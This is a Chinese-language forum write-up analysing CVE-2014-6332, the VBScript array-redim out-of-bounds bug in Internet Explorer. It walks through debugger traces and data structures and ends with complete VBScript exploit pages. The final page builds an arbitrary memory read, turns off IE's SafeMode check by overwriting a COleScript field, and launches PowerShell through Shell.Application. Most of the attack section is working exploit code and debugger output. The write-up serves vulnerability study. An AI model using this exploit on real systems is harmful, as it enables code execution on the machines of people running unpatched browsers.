CVE-2014-6332 修改浏览器安全属性开启Godmode
前言
这个漏洞是VBS脚本尝试重定义数组大小时,关于数组长度的数值设置不正确导致的,通过该漏洞可以造成越界读写内存以及代码执行,漏洞影响的范围是Win95+Ie3-Win10+Ie11,win95是1995年发布的,漏洞修复的时间是2014年,这个漏洞隐藏了差不多20年,可以说不光影响时间长,而且范围还很广。
实验环境
操作系统:Windows 7 sp1 32位
浏览器:IE10.0.9200.16438
调试器: IDA、windbg、x64dbg
漏洞分析
下面是我自己修改的一份简单的poc,方便调试:
<html>
<title>CVE-2014-6332 POC</title>
<body>
<SCRIPT LANGUAGE="VBScript">
dim arrayA() '定义动态数组
dim arrayB()
dim arraySize
dim overSize
dim index
dim myarray
function Begin()
On Error Resume Next
BeginInit()
Over()
end function
function Over()
On Error Resume Next
dim type1
Over = False
'根据BeginInit函数生成的 arraySize index 重新设置arraySize
arraySize = arraySize + index
' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
overSize = arraySize + &h8000000
redim Preserve arrayA(arraySize)
redim arrayB(arraySize)
‘可以把下面这条代码理解为开启越界读写功能
redim Preserve arrayA(overSize)
arrayA(arraySize + 1) = 15
end function
function BeginInit()
'初始化随机数种子
Randomize()
'初始化数组的大小
redim arrayA(5)
redim arrayB(5)
'arraySize 13 - 30
arraySize = 13 + 17 * rnd(6)
'index 7 - 10
index = 7 + 3 * rnd(5)
end function
'调用触发函数
Msgbox "waiting for debug"
Begin()
</script>
</body>
</html>
windbg开启堆调试支持:
打开cmd输入gflags.exe /i iexplore.exe +hpa:
windbg附加IE运行poc时异常信息:
异常时eip = 66bd1a87,看指令就知道是读取esi内存时出错了,下面再看下esi指向的内存是哪里申请的。
vbscript!AssignVar:
66bd1a70 8bff mov edi,edi
66bd1a72 55 push ebp
66bd1a73 8bec mov ebp,esp
66bd1a75 83e4f8 and esp,0FFFFFFF8h
66bd1a78 83ec24 sub esp,24h
66bd1a7b 53 push ebx
66bd1a7c 56 push esi
66bd1a7d 8bf2 mov esi,edx
66bd1a7f bb0c400000 mov ebx,400Ch
66bd1a84 57 push edi
66bd1a85 8bf9 mov edi,ecx
66bd1a87 66391e cmp word ptr [esi],bx ds:0023:080d1000=????
66bd1a8a 0f84d58c0100 je vbscript!AssignVar+0x211 (66bea765)
66bd1a90 66391f cmp word ptr [edi],bx
66bd1a93 0f8411640100 je vbscript!AssignVar+0x1ca (66be7eaa)
66bd1a99 b90c600000 mov ecx,600Ch
通过 !heap -p -a esi,可以看到是vbscript模块的RedimPreserveArray申请的:
(cb0.724): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0000400c ecx=06bbbf10 edx=080d1000 esi=080d1000 edi=06bbbf10
eip=66bd1a87 esp=05a2b110 ebp=05a2b144 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
vbscript!AssignVar+0x17:
66bd1a87 66391e cmp word ptr [esi],bx ds:0023:080d1000=????
0:008> !heap -p -a esi
address 080d1000 found in
_DPH_HEAP_ROOT @ 61000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
92f171c: 80d0e80 180 - 80d0000 2000
6b2b8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
6b2b92b2 verifier!AVrfDebugPageHeapReAllocate+0x000001a2
77016153 ntdll!RtlDebugReAllocateHeap+0x00000033
76fde46c ntdll!RtlReAllocateHeap+0x00000054
764dee32 ole32!CRetailMalloc_Realloc+0x00000025
760ced3c OLEAUT32!SafeArrayRedim+0x00000153
66c04774 vbscript!RedimPreserveArray+0x0000003d
66c04c7c vbscript!CScriptRuntime::RunNoEH+0x00004061
66bd5c2c vbscript!CScriptRuntime::Run+0x000000c4
66bd5b48 vbscript!CScriptEntryPoint::Call+0x0000010b
66bedd87 vbscript!CScriptRuntime::RunNoEH+0x00002b6e
66bd5c2c vbscript!CScriptRuntime::Run+0x000000c4
66bd5b48 vbscript!CScriptEntryPoint::Call+0x0000010b
66bedd87 vbscript!CScriptRuntime::RunNoEH+0x00002b6e
下面是当前栈回溯信息:
0:008> kv
ChildEBP RetAddr Args to Child
05a2b144 66be7cbc 097cef88 05a2b560 05a2b9c8 vbscript!AssignVar+0x17 (FPO: [1,9,4])
05a2b4f0 66bd5c2c 05a2b560 05a2b9c8 1fc41f1a vbscript!CScriptRuntime::RunNoEH+0x38d4 (FPO: [Non-Fpo])
05a2b544 66bd5b48 05a2b560 05a2bb30 0981ffe0 vbscript!CScriptRuntime::Run+0xc4 (FPO: [SEH])
05a2b654 66bedd87 05a2b9c8 00000000 06bbbf50 vbscript!CScriptEntryPoint::Call+0x10b (FPO: [5,61,4])
05a2ba10 66bd5c2c 05a2ba80 05a2bee8 1fc4103a vbscript!CScriptRuntime::RunNoEH+0x2b6e (FPO: [Non-Fpo])
05a2ba64 66bd5b48 05a2ba80 05a2c050 06bbdfe0 vbscript!CScriptRuntime::Run+0xc4 (FPO: [SEH])
05a2bb74 66bedd87 05a2bee8 00000000 06bbbf70 vbscript!CScriptEntryPoint::Call+0x10b (FPO: [5,61,4])
关闭堆调试支持使用x64dbg分析:
打开cmd输入gflags.exe /i iexplore.exe -hpa关闭堆调试支持 :
x64dbg附加IE开始分析
:
运行poc用x64dbg附加先下载符号表,符号表下载完成后需要重新附加才有效果。
经过上面分析,内存是RedimPreserveArray函数申请的,那么拿IDA先看看:
下面是SAFEARRAY的数据结构, 既然有了数据结构那么就拿x64dbg来看一下吧。
typedef struct tagSAFEARRAY
{
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG cLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[ 1 ];
}SAFEARRAY;
x64dbg对0x6A8E476E处下断,断下后观察esi指向的SAFEARRAY得知pvData是数组的首地址,dataSize是数组大小,pvData 0x0297DEF0,dataSize是0x6。
再观察下eax指向的内存,其中存着0x1D,那么现在确定待调整的大小是0x1D。
F8后再观察SAFEARRAY,这时pvData变成了 0x0298DDE0,之前是0x0297DEF0,大小也变成了预期的0x1D。
下面结合poc代码看一下,调试器现在断在第一次调整arrayA的时候,按F9后再断下来一次就是第二次调整了。
在第二次断到SafeArrayRedim,可以看到调整的大小是0x0800001D,这是一个超大的数值,内存是肯定申请不到的,那么接下来看下ESI指向的SAFEARRAY:
当前的pvData是0x0298DDE0,大小是0x1D,那么直接F8看接下来的表现。
F8后数组大小被改变了,但是数组首地址却没有变,这时候其实是重定义数组大小失败了,在执行SafeArrayRedim前对HeapAlloc下断调试下就知道了,HeapAlloc 申请大小为0x0800001D的内存时会返回失败,因为这个空间太大了,可以想象这时候数组真正占用的空间其实时0x1D,而由于没有校验申请内存的成功或失败就非常着急的更改了数组长度,现在的长度已经被改成了0x0800001D,这也就说明这个数组读写的范围可以在0-0x0800001D之间,这明显越界读写了,关于在执行SafeArrayRedim函数时HeapAlloc申请内存失败的过程,各位看官可以自己动手调试下,现在漏洞成因清楚了,那么就可以开始接下来的利用环节了。
漏洞利用
在利用前还需要对VARIANT这个结构有所了解,因为往数组中存储整型数据时,VBS虚拟机默认使用VARIANT结构来存储,在脚本语言和com组件中,这个结构会被比较频繁的使用到,记得多年前用VBS写脚本调用C++的com组件时,组建的接口就使用了VARIANT, 为什么使用VARIANT呢?因为不同类型的数据都可以用VARIANT这个结构来存储,使用起来十分的方便。
vt字段描述了数据的类型,wReserved1 - wReserved3保留, 变量数据 存储在联合体中,下面是具体的结构定义:
struct tagVARIANT {
union {
struct __tagVARIANT {
VARTYPE vt;
WORD wReserved1;
WORD wReserved2;
WORD wReserved3;
union {
ULONGLONG ullVal; /* VT_UI8 */
LONGLONG llVal; /* VT_I8 */
LONG lVal; /* VT_I4 */
BYTE bVal; /* VT_UI1 */
SHORT iVal; /* VT_I2 */
FLOAT fltVal; /* VT_R4 */
DOUBLE dblVal; /* VT_R8 */
VARIANT_BOOL boolVal; /* VT_BOOL */
_VARIANT_BOOL bool; /* (obsolete) */
SCODE scode; /* VT_ERROR */
CY cyVal; /* VT_CY */
DATE date; /* VT_DATE */
BSTR bstrVal; /* VT_BSTR */
IUnknown * punkVal; /* VT_UNKNOWN */
IDispatch * pdispVal; /* VT_DISPATCH */
SAFEARRAY * parray; /* VT_ARRAY */
BYTE * pbVal; /* VT_BYREF|VT_UI1 */
SHORT * piVal; /* VT_BYREF|VT_I2 */
LONG * plVal; /* VT_BYREF|VT_I4 */
LONGLONG * pllVal; /* VT_BYREF|VT_I8 */
FLOAT * pfltVal; /* VT_BYREF|VT_R4 */
DOUBLE * pdblVal; /* VT_BYREF|VT_R8 */
VARIANT_BOOL *pboolVal; /* VT_BYREF|VT_BOOL */
_VARIANT_BOOL *pbool; /* (obsolete) */
SCODE * pscode; /* VT_BYREF|VT_ERROR */
CY * pcyVal; /* VT_BYREF|VT_CY */
DATE * pdate; /* VT_BYREF|VT_DATE */
BSTR * pbstrVal; /* VT_BYREF|VT_BSTR */
IUnknown ** ppunkVal; /* VT_BYREF|VT_UNKNOWN */
IDispatch ** ppdispVal; /* VT_BYREF|VT_DISPATCH */
SAFEARRAY ** pparray; /* VT_BYREF|VT_ARRAY */
VARIANT * pvarVal; /* VT_BYREF|VT_VARIANT */
PVOID byref; /* Generic ByRef */
CHAR cVal; /* VT_I1 */
USHORT uiVal; /* VT_UI2 */
ULONG ulVal; /* VT_UI4 */
INT intVal; /* VT_INT */
UINT uintVal; /* VT_UINT */
DECIMAL * pdecVal; /* VT_BYREF|VT_DECIMAL */
CHAR * pcVal; /* VT_BYREF|VT_I1 */
USHORT * puiVal; /* VT_BYREF|VT_UI2 */
ULONG * pulVal; /* VT_BYREF|VT_UI4 */
ULONGLONG * pullVal; /* VT_BYREF|VT_UI8 */
INT * pintVal; /* VT_BYREF|VT_INT */
UINT * puintVal; /* VT_BYREF|VT_UINT */
struct __tagBRECORD {
PVOID pvRecord;
IRecordInfo * pRecInfo;
} __VARIANT_NAME_4; /* VT_RECORD */
} __VARIANT_NAME_3;
} __VARIANT_NAME_2;
DECIMAL decVal;
} __VARIANT_NAME_1;
};
当vt = 2时变量的类型为一个short,vt = 3时变量的类型为Long,在这里重点关注的就是short和long型变量,因为在后面的利用过程中就使用了越界读写去改变VARIANT结构中的数据类型。
enum VARENUM
{
VT_EMPTY = 0,
VT_NULL = 1,
VT_I2 = 2,
VT_I4 = 3,
VT_R4 = 4,
VT_R8 = 5,
VT_CY = 6,
VT_DATE = 7,
VT_BSTR = 8,
VT_DISPATCH = 9,
VT_ERROR = 10,
VT_BOOL = 11,
VT_VARIANT = 12,
VT_UNKNOWN = 13,
VT_DECIMAL = 14,
VT_I1 = 16,
VT_UI1 = 17,
VT_UI2 = 18,
VT_UI4 = 19,
VT_I8 = 20,
VT_UI8 = 21,
VT_INT = 22,
VT_UINT = 23,
VT_VOID = 24,
VT_HRESULT = 25,
VT_PTR = 26,
VT_SAFEARRAY = 27,
VT_CARRAY = 28,
VT_USERDEFINED = 29,
VT_LPSTR = 30,
VT_LPWSTR = 31,
VT_RECORD = 36,
VT_INT_PTR = 37,
VT_UINT_PTR = 38,
VT_FILETIME = 64,
VT_BLOB = 65,
VT_STREAM = 66,
VT_STORAGE = 67,
VT_STREAMED_OBJECT = 68,
VT_STORED_OBJECT = 69,
VT_BLOB_OBJECT = 70,
VT_CF = 71,
VT_CLSID = 72,
VT_VERSIONED_STREAM = 73,
VT_BSTR_BLOB = 0xfff,
VT_VECTOR = 0x1000,
VT_ARRAY = 0x2000,
VT_BYREF = 0x4000,
VT_RESERVED = 0x8000,
VT_ILLEGAL = 0xffff,
VT_ILLEGALMASKED = 0xfff,
VT_TYPEMASK = 0xfff
} ;
现在对数据结构有一定的了解了,还需要动手调试下VBS数组在内存中的布局,在调试前需要稍微修改下poc中的Over函数,在函数中添加一个弹框来给调试提供便利,弹框后是对arrayA这个数组赋值,索引分别是1、2、3。
function Over()
On Error Resume Next
dim type1
Over = False
'根据BeginInit函数生成的 arraySize index 重新设置arraySize
arraySize = arraySize + index
' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
overSize = arraySize + &h8000000
redim Preserve arrayA(arraySize)
redim arrayB(arraySize)
redim Preserve arrayA(overSize)
Msgbox "test"
arrayA(1) = 1
arrayA(2) = 2
arrayA(3) = 2
arrayA(arraySize + 1) = 15
end function
修改poc后用IE运行,等待弹出"test"消息框后附加。
在VBS模块中对数组或变量的赋值是由函数AssignVar函数来完成的。
现在用x64dbg对0x6AA01B0E下断,断下来后看下各个寄存器以及内存情况。
F8执行到0x6AA01B29处,这时已经完成VARIANT的拷贝了,现在可以观察下esi指向的内存。
在arrayA(3) = 2执行完成后,可以看到内存布局变成下面这样了。
有了上面的信息作为铺垫后,接下来就再稍微修改下poc构造一个可以利用的内存布局,并获取CScriptEntryPoint对象。
<html>
<title>CVE-2014-6332 POC</title>
<body>
<SCRIPT LANGUAGE="VBScript">
dim arrayA() '定义动态数组
dim arrayB()
dim arraySize
dim overSize
dim index
dim myarray
function Begin()
On Error Resume Next
BeginInit()
If CreateArray() = True Then
Trigger()
end if
end function
function Trigger()
On Error Resume Next
myarray = chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray = myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
pCScriptEntryPoint = setCScriptEntryPoint()
end function
sub test()
end sub
function setCScriptEntryPoint()
On Error Resume Next
dim pVTable
pScriptEntryPoint = test
pScriptEntryPoint = null
Msgbox "waiting for debug"
redim Preserve arrayA(overSize)
arrayB(0) = 0
arrayA(arraySize + 2) = pScriptEntryPoint
arrayB(0) = 6.36598737437801E-314
arrayA(arraySize + 4) = myarray
arrayB(2) = 1.74088534731324E-310
setCScriptEntryPoint = arrayA(arraySize + 2)
redim Preserve arrayA(arraySize)
end function
function Over()
On Error Resume Next
dim type1
Over = False
'根据BeginInit函数生成的 arraySize index 重新设置arraySize
arraySize = arraySize + index
' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
overSize = arraySize + &h8000000
redim Preserve arrayA(arraySize)
redim arrayB(arraySize)
redim Preserve arrayA(overSize)
arrayA(arraySize) = 10
arrayB(0) = 1.123456789012345678901234567890
type1 = 1
'可见这样循环400次判断2F66 是为了 把arrayA和arrayB的内存撞到一起 让arrayA可以越界读写arrayB
If (IsObject(arrayA(arraySize + 1)) = False) Then
if(vartype(arrayA(arraySize + 1)) <> 0) Then
If(IsObject(arrayA(arraySize + 2)) = False ) Then
type1=VarType(arrayA(arraySize + 2))
end if
end if
end if
If(type1=&h2f66) Then
Over=True
else
End If
'恢复正常的数组大小
redim Preserve arrayA(arraySize)
end function
function CreateArray()
On Error Resume Next
dim i
CreateArray = False
For i = 0 To 400
If Over() = True Then
CreateArray = True
Exit For
End If
Next
end function
function BeginInit()
'初始化随机数种子
Randomize()
'初始化数组的大小
redim arrayA(5)
redim arrayB(5)
'arraySize 13 - 30
arraySize = 13 + 17 * rnd(6)
'index 7 - 10
index = 7 + 3 * rnd(5)
end function
Begin()
</script>
</body>
</html>
在Over函数中,会通过重定义arrayA和arrayB的大小来刷新这两个数组的地址,然后判断arrayB是否在arrayA之下并且相邻,如果相邻就代表内存构造成功,之后调用setCScriptEntryPoint获取CScriptEntryPoint对象,在setCScriptEntryPoint函数中写了一个弹框方便下断调试,下面就运行下poc,观察下是如何拿到CScriptEntryPoint对象的吧。
首先看看执行arrayB(0) = 0的时候,esi指向arrayB(0),由于两个数组内存位置相邻,通过arrayB就可以算出arrayA。
下面再看看arrayA(arraySize + 2) = pScriptEntryPoint这条代码写入CScriptEntryPoint对象,通过观察内存可以发现arrayB和arrayA(arraySize + 2)的内存重叠了,此时arrayA(arraySize + 2)处虽然写入了对象地址,但是这个对象地址是无法利用的,因为变量的Type是1,1是VT_NULL,必须要将变量类型设置为VT_I4才能使用,由于arrayA和ArrayB是重叠的,那么只需要把arrayB(0)指向的VARIANT结构低64位构造成指定的数据就可以了,恰好写入浮点类型的数据可以满足这个要求。
下面再看看执行arrayB(0) = 6.36598737437801E-314时,很明显数据类型被改成了VT_I4,这样在VBS虚拟机读内存数据时才会读取4字节数据。
现在还有个问题,CScriptEntryPoint对象是怎么来的,怎么写入pScriptEntryPoint变量中的?那是因为在执行pScriptEntryPoint = test的时候,VBS使用CScriptEntryPoint对象去检查这条语句是不合法的,随之产生一个错误,再CScriptEntryPoint被写入了CSession对象中,之后pScriptEntryPoint
= null 时,没有清除掉CScriptEntryPoint,导致CScriptEntryPoint被构造进了VARIANT结构。
这些任务完成后,就可以修改IE安全设置了,下面是完整的利用poc:
<!doctype html>
<html>
<title>CVE-2014-6332 POC</title>
<body>
<SCRIPT LANGUAGE="VBScript">
dim arrayA() '定义动态数组
dim arrayB()
dim arraySize
dim overSize
dim index
dim myarray
function Begin()
On Error Resume Next
BeginInit()
If CreateArray() = True Then
Trigger()
end if
end function
function readMemory(addr)
On Error Resume Next
redim Preserve arrayA(overSize)
arrayB(0) = 0
arrayA(arraySize + 2) = addr + 4
arrayB(0) = 1.69759663316747E-313
readMemory = lenb(arrayA(arraySize + 2))
arrayB(0) = 0
redim Preserve arrayA(arraySize)
end function
function RunWin32Exe()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "powershell.exe"
end function
function Trigger()
On Error Resume Next
myarray = chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray = myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
pCScriptEntryPoint = setCScriptEntryPoint()
pAddr = readMemory(pCScriptEntryPoint + 8)
pAddr = readMemory(pAddr + 16)
result = readMemory(pAddr + &h134)
for offset = 0 to &h60 step 4
progId = readMemory(pAddr + &h120 + offset)
if(progId = 14) then
redim Preserve arrayA(overSize)
'这里改了权限
arrayA(arraySize + 4)(pAddr + &h11c + offset) = arrayB(4)
redim Preserve arrayA(arraySize)
Exit for
end if
next
RunWin32Exe()
end function
sub test()
end sub
function setCScriptEntryPoint()
On Error Resume Next
dim pVTable
pScriptEntryPoint = test
pScriptEntryPoint = null
Msgbox "waiting for debug"
redim Preserve arrayA(overSize)
arrayB(0) = 0
arrayA(arraySize + 2) = pScriptEntryPoint
arrayB(0) = 6.36598737437801E-314
arrayA(arraySize + 4) = myarray
arrayB(2) = 1.74088534731324E-310
setCScriptEntryPoint = arrayA(arraySize + 2)
redim Preserve arrayA(arraySize)
end function
function Over()
On Error Resume Next
dim type1
Over = False
'根据BeginInit函数生成的 arraySize index 重新设置arraySize
arraySize = arraySize + index
' 计算出一个过大的数值 用来重新设置数组大小 如果被成功的设置 将会赋予数组越界读写的能力
overSize = arraySize + &h8000000
redim Preserve arrayA(arraySize)
redim arrayB(arraySize)
redim Preserve arrayA(overSize)
arrayA(arraySize) = 10
arrayB(0) = 1.123456789012345678901234567890
type1 = 1
'可见这样循环400次判断2F66 是为了 把arrayA和arrayB的内存撞到一起 让arrayA可以越界读写arrayB
If (IsObject(arrayA(arraySize + 1)) = False) Then
if(vartype(arrayA(arraySize + 1)) <> 0) Then
If(IsObject(arrayA(arraySize + 2)) = False ) Then
type1=VarType(arrayA(arraySize + 2))
end if
end if
end if
If(type1=&h2f66) Then
Over=True
else
End If
'恢复正常的数组大小
redim Preserve arrayA(arraySize)
end function
function CreateArray()
On Error Resume Next
dim i
CreateArray = False
For i = 0 To 400
If Over() = True Then
CreateArray = True
Exit For
End If
Next
end function
function BeginInit()
'初始化随机数种子
Randomize()
'初始化数组的大小
redim arrayA(5)
redim arrayB(5)
'arraySize 13 - 30
arraySize = 13 + 17 * rnd(6)
'index 7 - 10
index = 7 + 3 * rnd(5)
end function
Begin()
</script>
</body>
</html>
在获取到了CScriptEntryPoint后接着调用readMemory去读取内存,把弹框中的十进制地址转为16进制在内存中看看 pCScriptEntryPoint + 8 处,地址是0x023F90F0:
再看看0x023F90F0 +0x10 处,这就是苦苦寻找的COleScript对象了,通过修改它的成员变量就可以绕过安全机制了。
在拿到了COleScript 的地址后,通过一个for循环在一定范围内搜索0xE这个变量,找到后改为0就关闭了IE的安全机制了。
可以在IDA中看看,偏移0x174处就是SafeMode了
在F9之后,期待的PowerShell弹出来了,利用到此结束。
总结
这个漏洞通过数组越界读写获得了可以读写任意地址的能力,然后直接修改内存中的安全设置,让脚本在创建shell对象时成功通过了浏览器的安全检查,随后就启动了PowerShell,不得不说这招简直太暴力了! 最后感谢yuange1975提供的poc!
- End -
看雪ID:来杯柠檬红茶
https://bbs.pediy.com/user-763252.htm
本文由 来杯柠檬红茶 原创
转载请注明来自看雪社区
热门图书推荐:
热门技术文章推荐:
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com